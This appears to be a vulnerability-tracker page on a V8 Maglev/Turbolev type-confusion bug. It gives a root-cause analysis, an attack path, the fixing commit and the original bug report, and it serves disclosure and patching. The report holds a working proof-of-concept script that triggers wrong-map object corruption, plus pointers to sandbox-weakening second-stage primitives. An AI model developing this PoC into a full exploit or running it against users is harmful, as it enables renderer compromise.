Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType Confusion in V8
DescriptionType Confusion in V8
ComponentV8
Sub-componentMaglev
Bug ClassType Confusion
Action tierpatch-now — corruption primitive, web-reachable in default config (confirmed) — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed
Reviewer notes: Diff matches claim: guard gains !maps_are_stale() before consulting single possible_maps() for StoreMap alias invalidation. PoC runs under --turbolev, but fixed code is shared Maglev known-node-aspects reached by default optimization.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker528501127
Fix commit9068d5fc068f (v8/v8) +26/-1
CWECWE-843 (Type confusion)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
Creditednh.dev2022
Reported2026-06-27 (per vendor advisory)
Fix landed2026-06-29 (public git)
Disclosed2026-07-29
Patch gap30 days — fix public in source before the advisory

Background

Maglev
V8’s mid-tier optimizing JIT compiler that builds a graph IR and reasons about object shapes to elide redundant map checks and field loads.
Map
V8’s internal descriptor of an object’s hidden class (its shape), used to determine field layout and to validate optimization assumptions.
`NodeInfo`
Maglev’s per-node abstract state that records known facts such as possible_maps(), whether possible_maps_are_known(), and whether that map set has gone stale via maps_are_stale().
`StoreMap`
a Maglev IR node that transitions an object to a new map, requiring the compiler to invalidate any cached shape facts about nodes that might alias the stored object.

Root Cause Analysis

When Maglev processes a transitioning StoreMap, it walks the abstract state to invalidate cached map information for other nodes that could alias the object being transitioned. The aliasing check read node_info->possible_maps() whenever possible_maps_are_known() held and the set had exactly one entry, using that single old_map to decide which aliases needed invalidation. However, a NodeInfo whose maps had already been marked stale (maps_are_stale() returning true) still reports possible_maps_are_known(), so the code treated an obsolete, no-longer-authoritative map as ground truth. This caused the alias-invalidation logic to skip objects that in fact aliased the transitioned object, leaving stale shape assumptions in place and enabling a type confusion where a field is accessed with the wrong layout.

The fix adds !node_info->maps_are_stale() to the guard, so a NodeInfo with stale maps is no longer consulted for alias reasoning and the invalidation proceeds conservatively.

Key insight
The single mistake was trusting a NodeInfo’s possible_maps() for alias invalidation while ignoring that the map set was already stale; the fix gates the fast path on !node_info->maps_are_stale() so stale shape facts can no longer misdirect invalidation.

Attack Path

  1. Prime the shapes Craft two objects that share a hidden class and run a function repeatedly so Maglev caches possible_maps() facts about the node feeding a later StoreMap.
  2. Force a transition Trigger property additions that emit a transitioning StoreMap, invoking the alias-invalidation walk over the abstract state.
  3. Exploit the stale guard Because the aliased NodeInfo has maps_are_stale() set but still reports possible_maps_are_known(), the buggy old_map comparison wrongly concludes no aliasing and skips invalidation.
  4. Diverge layout Subsequent field loads on the aliasing object use the retained stale map, reading or writing memory at an offset that no longer matches the object’s real layout, producing type confusion.
  5. Escalate Leverage the confused field access to fabricate object references or corrupt adjacent state, building toward arbitrary read/write in the renderer.

Impact Assessment

An attacker who lands a crafted script in the renderer gains a type confusion in optimized Maglev/Turbolev code, allowing controlled misinterpretation of object memory that is a strong primitive toward arbitrary read/write and renderer compromise. The bug executes in the sandboxed renderer process and requires only that the victim run attacker-controlled JavaScript that Maglev optimizes, with no special permissions. Exploitation depends on shaping objects so that a stale-map NodeInfo participates in StoreMap alias invalidation.

Files Changed

  • src/maglev/maglev-known-node-aspects.cc
  • test/mjsunit/turbolev/regress-528501127.js

Audit Directions

  • Stale-vs-known map checks
    Search Maglev abstract-state code for uses of possible_maps() or possible_maps_are_known() that fail to also test maps_are_stale() before trusting the map set.
  • Alias invalidation paths
    Review every transitioning-node handler that walks NodeInfo to invalidate cached shapes and confirm it errs conservatively when facts may be obsolete.
  • Fast-path single-map assumptions
    Audit optimizations that special-case a possible_maps().size() == 1 result, since collapsing to one map can hide the possibility that the underlying fact is no longer authoritative.
From 9068d5fc068f85d0eb723d9b63f15fb56c6db725 Mon Sep 17 00:00:00 2001
From: Victor Gomes <victorgomes@chromium.org>
Date: Mon, 29 Jun 2026 11:15:40 +0200
Subject: [PATCH] [maglev] Skip stale maps in StoreMap alias invalidation

Fixed: 528501127
Change-Id: Icce0566468bb46dfd352e05a105646ba3f3b9ad4
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8019002
Reviewed-by: Darius Mercadier <dmercadier@chromium.org>
Commit-Queue: Victor Gomes <victorgomes@chromium.org>
Commit-Queue: Darius Mercadier <dmercadier@chromium.org>
Auto-Submit: Victor Gomes <victorgomes@chromium.org>
Cr-Commit-Position: refs/heads/main@{#108302}
---

diff --git a/src/maglev/maglev-known-node-aspects.cc b/src/maglev/maglev-known-node-aspects.cc
index 84a6666..8deaf24 100644
--- a/src/maglev/maglev-known-node-aspects.cc
+++ b/src/maglev/maglev-known-node-aspects.cc
@@ -492,7 +492,7 @@
   if (!node->is_transitioning()) return;
 
   if (NodeInfo* node_info = TryGetInfoFor(node->ValueInput().node())) {
-    if (node_info->possible_maps_are_known() &&
+    if (node_info->possible_maps_are_known() && !node_info->maps_are_stale() &&
         node_info->possible_maps().size() == 1) {
       compiler::MapRef old_map = node_info->possible_maps().at(0);
       auto MaybeAliases = [&](compiler::MapRef map) -> bool {
diff --git a/test/mjsunit/turbolev/regress-528501127.js b/test/mjsunit/turbolev/regress-528501127.js
new file mode 100644
index 0000000..8a8e17d
--- /dev/null
+++ b/test/mjsunit/turbolev/regress-528501127.js
@@ -0,0 +1,25 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --turbolev
+
+function f(a, b) {
+  let tr = (a.w * 1.5) | 0;
+  a.x = 1.1;
+  let t1 = b.x;
+  a.y = 2.2;
+  let t2 = b.x;
+  b.z = 3.3;
+  return tr + t1 + t2;
+}
+%PrepareFunctionForOptimization(f);
+{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
+%OptimizeFunctionOnNextCall(f);
+{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
+
+let o = {w: 0.5};
+f(o, o);
+assertEquals("w,x,y,z", Object.keys(o).join(","));
+assertEquals(2.2, o.y);
+assertEquals(3.3, o.z);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/turbolev/regress-528501127.js b/test/mjsunit/turbolev/regress-528501127.js
new file mode 100644
index 0000000..8a8e17d
--- /dev/null
+++ b/test/mjsunit/turbolev/regress-528501127.js
@@ -0,0 +1,25 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax --turbolev
+
+function f(a, b) {
+  let tr = (a.w * 1.5) | 0;
+  a.x = 1.1;
+  let t1 = b.x;
+  a.y = 2.2;
+  let t2 = b.x;
+  b.z = 3.3;
+  return tr + t1 + t2;
+}
+%PrepareFunctionForOptimization(f);
+{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
+%OptimizeFunctionOnNextCall(f);
+{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
+
+let o = {w: 0.5};
+f(o, o);
+assertEquals("w,x,y,z", Object.keys(o).join(","));
+assertEquals(2.2, o.y);
+assertEquals(3.3, o.z);
Loading diff…

Original Bug Report

reported by nh...@gmail.com

Turbolev: `RecomputeKnownNodeAspectsProcessor` reads stale `possible_maps` across `StoreMap`, eliding a required `CheckMaps` → wrong-map type confusion

Vulnerability Details

Summary

In the Maglev frontend’s post-build optimizer pass, KnownNodeAspects::ClearUnstableNodeAspectsForStoreMap (v8/src/maglev/maglev-known-node-aspects.cc:342-371, d096af1c9e) reads node_info->possible_maps().at(0) at line 347 without checking node_info->maps_are_stale(). Because RecomputeKnownNodeAspectsProcessor has no ProcessNode(StoreMap*) overload, the per-node possible_maps is not updated after a StoreMap, so the value read at line 347 can be the pre-transition map.

When two consecutive transitioning property stores are emitted for the same SSA value, the second StoreMap’s alias-invalidation runs the precise-alias fast path using the wrong old_map, fails to mark stale a separate SSA value whose feedback is {intermediate_map}, and the subsequent ProcessCheckMaps removes the CheckMaps the graph builder correctly emitted for that value. Generated code then accesses the aliasing object under a sibling map without a deopt guard.

This is reachable from web content under --turbolev, which ships to a Finch population in M148 (study V8Turbolev). It is not reachable in the default configuration without that experiment.

Root cause

Two pieces, both in v8/src/maglev/:

(a) Missing processor overload. RecomputeKnownNodeAspectsProcessor (maglev-kna-processor.h) handles StoreMap via the generic MarkPossibleSideEffect<StoreMap> path (maglev-known-node-aspects.h:666,691-692), which calls ClearUnstableNodeAspectsForStoreMap for alias invalidation but does not update the stored object’s own possible_maps to the post-transition map. The graph builder does this via BuildStoreMap’s post-store SetPossibleMaps; the recompute pass does not mirror it. So after

StoreMap(obj, MapA → MapB)

the recomputed KNA still has obj.possible_maps == {MapA}, and maps_are_stale() is false (the precise-alias path at :355-360 only marks other nodes stale, not obj itself).

(b) Stale read in the precise-alias fast path. ClearUnstableNodeAspectsForStoreMap:

342  void KnownNodeAspects::ClearUnstableNodeAspectsForStoreMap(
343      StoreMap* store_map, ...) {
344    NodeInfo* node_info = TryGetInfoFor(store_map->object_input().node());
345    if (node_info && node_info->possible_maps_are_known() &&
346        node_info->possible_maps().size() == 1) {
347      compiler::MapRef old_map = node_info->possible_maps().at(0);   // ← stale
348      compiler::MapRef new_map = store_map->map();
349      // Precise alias invalidation: only nodes whose possible_maps
350      // contains old_map can alias obj.
...
355      for (auto& [node, info] : node_infos_) {
356        if (info.possible_maps().contains(old_map)) {
357          info.SetMapsAreStale();
358        }
359      }
360      return;
361    }
362    // Conservative fallback: mark all unstable maps stale.
...

No maps_are_stale() guard before line 347. With the stale {MapA} from (a), a second StoreMap(obj, MapB → MapC) reads old_map = MapA, scans for nodes whose maps contain MapA, and misses any node b with possible_maps == {MapB} — even though b may alias obj (which actually has MapB at this program point).

(c) Consequence. ProcessCheckMaps sees b.possible_maps == {MapB}, not stale, matching the CheckMaps(b, {MapB}) the graph builder emitted, and removes it. After the second transition, obj (== b) has MapC; generated code stores to b assuming MapB layout with no guard.

Reachability under --turbolev (default-on, no further flags)

Turbolev reuses the Maglev frontend; there is no separate Turboshaft KNA. RecomputeKnownNodeAspectsProcessor runs via two independent default-on paths in v8/src/compiler/turboshaft/turbolev-frontend-pipeline.cc:

:303  if (v8_flags.turbolev_non_eager_inlining) {     // default TRUE, flag-definitions.h:769
:304    if (!Run<InlinerPhase>()) return {};
        → :176-182  maglev::MaglevInliner(graph).Run()
          → maglev-inlining.cc:151-157  Run() → RunOptimizer()
            → :131-139  RecomputeKnownNodeAspectsProcessor

:306  if (v8_flags.maglev_truncation && ...) {        // default TRUE, flag-definitions.h:682
:308    Run<PostOptimizerPhase>(nullptr);
        → :228-247  PostOptimizerPhase
          → :232  maglev::RecomputeKnownNodeAspectsProcessor

CompilationFlags::ForTurbolev() (maglev-compilation-info.h:103-109) populates is_non_eager_inlining_enabled from v8_flags.turbolev_non_eager_inlining, so a Turbolev compilation enables the inliner without --maglev_non_eager_inlining.

The Maglev-tier path (maglev-compiler.cc:112) is gated solely on v8_flags.maglev_non_eager_inlining (default false, no Chrome-side enablement) and is not relevant to Turbolev compilations.

--turbolev ships via Finch in M148

Evidence Location
Finch study V8Turbolev, arm Enabled → enable_features: ["V8Flag_turbolev"], all platforms testing/variations/fieldtrial_testing_config.json:23935-23961
V8Flag_* → --* declaration-free passthrough gin/v8_initializer.cc:223,228-267,309-340 (V8FeatureVisitor)
WebView allowlisted to receive the feature android_webview/.../ProductionSupportedFlagList.java:693

The in-tree config proves the study and Enabled arm exist; rollout percentage and channel split are server-side.

Version

  • V8 14.9.207 (Chrome M148–M149)
  • Reproduced on Google Chrome 149.0.7827.155 (Official Build, Linux x64, revision 07b52360cc15066f987c910ab34dfbcd4a8778d2)
  • File:line references in this report are to Chromium d096af1c9e
  • Affects all platforms covered by the V8Turbolev Finch study (android, android_webview, chromeos, linux, mac, windows)

Reproduction Case

Execution-verified on Google Chrome 149.0.7827.155 Official Build (V8 14.9.207.29, Linux x64).

Observed (release build, --allow-natives-syntax --turbolev)

opt status bits: 0b101001 (41)
[manually marking <JSFunction f> for optimization to TURBOFAN_JS, kSynchronous]
[compiling method <JSFunction f> (target TURBOFAN_JS), kSynchronous]
[completed compiling <JSFunction f> (target TURBOFAN_JS) - took 0.007, 16.214, 0.367 ms]
before: y=undefined z=undefined
f(o,o) = 2.2
after:  y=undefined z=3.3  hasY=false hasZ=true
keys:   w,x,z
JSON:   {"w":0.5,"x":1.1,"z":3.3}

a.y = 2.2 executed with a === o, but o has no own property y afterward — the unguarded b.z transitioning store stamped sibling map {w,x,z} onto a {w,x,y}-layout object, overwriting slot 2. No deopt fired.

Control (same build, --allow-natives-syntax, no --turbolev)

 opt status bits: 0b101001 (41)                                                                                    
 before: y=undefined z=undefined                                                                                   
 f(o,o) = 2.2                                                                                                      
 after:  y=2.2 z=3.3  hasY=true hasZ=true                                                                          
 keys:   w,x,y,z                                                                                                   
 JSON:   {"w":0.5,"x":1.1,"y":2.2,"z":3.3}

Correct semantics under classic TurboFan. Same tier, same opt-status; only the pipeline differs.

PoC

// d8 --allow-natives-syntax --turbolev  poc.js
function f(a, b) {
  let tr = (a.w * 1.5) | 0;   // truncation candidate → PostOptimizerPhase runs
  a.x = 1.1;                  // StoreMap #1: {w} → {w,x}
  let t1 = b.x;               // CheckMaps(b, {w,x})
  a.y = 2.2;                  // StoreMap #2: {w,x} → {w,x,y}
  let t2 = b.x;               // CheckMaps(b, {w,x}) ← elided by recompute pass
  b.z = 3.3;                  // StoreMap(b, {w,x} → {w,x,z}) — unguarded
  return tr + t1 + t2;
}
%PrepareFunctionForOptimization(f);
for (let i = 0; i < 50; i++) {
  let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b);
}
%OptimizeFunctionOnNextCall(f);
{ let a = {w: 0.5}; let b = {w: 0.5}; b.x = 1.1; f(a, b); }
let o = {w: 0.5};
f(o, o);
print(Object.keys(o).join(","), o.y, o.z);
// --turbolev:      "w,x,z undefined 3.3"
// no --turbolev:   "w,x,y,z 2.2 3.3"

Security Impact

Wrong-map type confusion in JIT-generated code: a store (or load) executes against an object whose actual map differs from the one the optimizer assumed, with no deopt guard. This is the standard primitive that yields in-cage arbitrary read/write in V8.

A quick note for severity calibration, the same source tree contains two V8-sandbox-weakening primitives that an attacker with cage RW could use as a second stage: ExternalPointerTable::Set re-tagging (external-pointer-table-inl.h:182) and CodePointerTable entries carrying no type tag (code-pointer-table-inl.h:19). I am happy to file those separately if useful.

Suggested Fix

Either of:

  1. Guard the fast path. In ClearUnstableNodeAspectsForStoreMap, add && !node_info->maps_are_stale() to the condition at lines 345-346, so a stale possible_maps falls through to the conservative path at :362.

  2. Keep possible_maps fresh in the recompute pass. Add a ProcessNode(StoreMap*) overload to RecomputeKnownNodeAspectsProcessor that mirrors BuildStoreMap’s post-store SetPossibleMaps(obj, {new_map}), so line 347 reads the correct old_map for the second StoreMap.

(1) is the minimal fix; (2) preserves the precision the fast path is there for.

View on issue tracker